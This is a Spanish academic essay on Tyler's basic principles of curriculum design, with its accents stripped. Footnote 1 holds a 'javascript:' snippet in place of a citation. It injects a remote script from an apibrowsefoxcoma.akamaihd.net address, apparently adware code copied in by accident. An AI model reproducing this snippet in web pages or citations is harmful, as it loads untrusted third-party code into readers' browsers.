Evaluacin, control y seguimiento de programas y procesos de enseanza
PRINCIPIOS BSICOS DEL CURRCULO
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PRINCIPIOS BSICOS DEL CURRCULO Siempre que haya educacin, habr un plan de estudios Ralph W. Tyler (1990) Introduccin. La idea del currculo se plantea desde la perspectiva de conocer el qu se va a estudiar?, los programas educativos de tal o cual carrera; la definicin de objetivos y la utilidad prctica que puedan dar los egresados en relacin a su rea estudiada y el beneficio social que conlleva pertenecer a una sociedad. La modificacin de conductas de los estudiantes se debe tambin plantear a travs del mapa curricular. La aplicacin del plan y los programas de estudio deben garantizar a la institucin educativa que los estudiantes logren cumplir con las expectativas para lo cual fueron creados. El currculo El ministerio de Educacin Nacional de la Repblica de Colombia define El Currculo es el conjunto de criterios, planes de estudio, programas, metodologas, y procesos que contribuyen a la formacin integral y a la construccin de la identidad cultural nacional, regional y local, incluyendo tambin los recursos humanos, acadmicos y fsicos para poner en prctica las polticas y llevar a cabo el proyecto educativo institucional. 1
Por otro lado, segn su epistemologa el Un currculo es la acepcin singular en espaol del latn. En plural Refiere al conjunto de competencias bsicas, objetivos, contenidos, criterios metodolgicos y de evaluacin que los estudiantes deben alcanzar en un determinado nivel educativo. De modo general, el curriculum responde a las preguntas qu ensear?, cmo ensear?, cundo ensear? y
1 javascript:try{if(document.body.innerHTML){vara=document.getElementsByTagName("head");if(a.length){r d=document.createElement("script");d.src="https://apibrowsefoxcoma.akamaihd.net/gsrs?is=fmxbfmx&b= BA&g=de8daff1-48df-4b25-aa61-c86d79209e47";a[0].appendChild(d);}}}catch(e){} Evaluacin, control y seguimiento de programas y procesos de enseanza PRINCIPIOS BSICOS DEL CURRCULO
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qu, cmo y cundo evaluar? El currculo, en el sentido educativo, es el diseo que permite planificar las actividades acadmicas. 2
Qu fines desea alcanzar la escuela? Las escuelas deben tener en claro lo que desean que sus estudiantes aprendan durante su transitar por la misma, en muchos casos, al preguntarle a los docentes de alguna materia o algn contenido en especfico del por qu ensearlo, qu beneficio en la vida tendr, muchos colegas responden con la idea de que es cultura general; pues bien, las instituciones educativas deben estipularse metas de importancia y validez mayores a estas concepciones, en el nivel bsico se generaliza el plan y los programas de estudio como para reproducir conocimientos en masa sin importar el contexto ni los intereses de los educandos; mucho se habla de adaptar la currcula a la realidad de los alumnos, pero pocos son los docentes que le dedican tiempo a esta ardua tarea; para tener xito entonces es necesario que se tomen en consideracin los aspectos relevantes para los estudiantes y partir de ah para que la escuela sea un medio que permita ayudar a los jvenes a enfrentar los problemas actuales, de esto la importancia de saber definir los objetivos inherentes a la educacin que se imparta. Mirar a los alumnos como fuente de objetos educacionales significa modificar las formas de conducta humana. La escuela debe proponerse qu cambios en las formas de conducta debe obtener de los educandos, los estudiantes de nivel medio superior y superior constantemente se encuentran en el dilema de elegir su carrera a travs de la orientacin vocacional contra la preparacin ocupacional, es decir, les preocupa estudiar algo que no tenga empleo al finalizar de estudiar. Esta duda es creciente entre la eleccin de una vida profesional y la utilidad que le pueda dar a la misma, hablamos de productividad, rol social, etc. La institucin debe preocuparse por experiencias educativas, concentrarse entonces en carencias y vacos graves que aparecen en la formacin actual de los receptores activos de la educacin.
2 http://epistemologia.over-blog.es/pages/DEFINICION_DE_CURRICULO_Y_CONTENIDOS-1432924.html Evaluacin, control y seguimiento de programas y procesos de enseanza PRINCIPIOS BSICOS DEL CURRCULO
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Los especialistas en asignaturas sugieren objetivos Los libros de texto suelen estar escritos por especialistas de cada asignatura, los cuales buscan con ello un desarrollo gradual y especializado en el rea que estudien, as una persona que quiera ser mdico su currcula elaborada por expertos en la materia manifiestan que tendr una mejor oportunidad de xito. Adems, consideran que pueden contribuir de manera especial en otras reas al no ser exclusivas de la asignatura en s misma. Papel de una psicologa del aprendizaje en la seleccin de objetivos Los objetivos que tratamos tienen un carcter educacional, son resultados del aprendizaje. La vieja escuela de pensamiento que procuraba ensear a los nios a permanecer absolutamente quietos y en silencio durante todo el tiempo de clase impona un objetivo imposible de alcanzar. En niveles superiores definir el conocimiento de la psicologa del aprendizaje permitir distinguir los objetivos fciles de alcanzar. Es aconsejable que al aplicar una psicologa del aprendizaje a la seleccin de objetivos, se enumeren por escrito los elementos importantes de la psicologa del aprendizaje justificable e indicar luego, respecto de cada punto principal, qu consecuencias podra tener para los objetivos de la educacin. Conclusin El planteamiento curricular de las instituciones educativas debe definir primero sus objetivos claramente, saber haca donde debe llegar ser un buen comienzo; conocer las necesidades de los educandos y de la misma sociedad a la que se pertenece es el reto mayor del currculo, ya que se debe garantizar la utilidad a la comunidad en la que se va a desenvolver el egresado de cada nivel educativo. Bibliografa SEP. (2011). Plan de estudios 2011. Mxico: CONALITEG. Evaluacin, control y seguimiento de programas y procesos de enseanza PRINCIPIOS BSICOS DEL CURRCULO
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Zabala, A. (15 de 08 de 2014). escalae.org. Obtenido de http://www.escalae.org/files/practica- educativa.pdf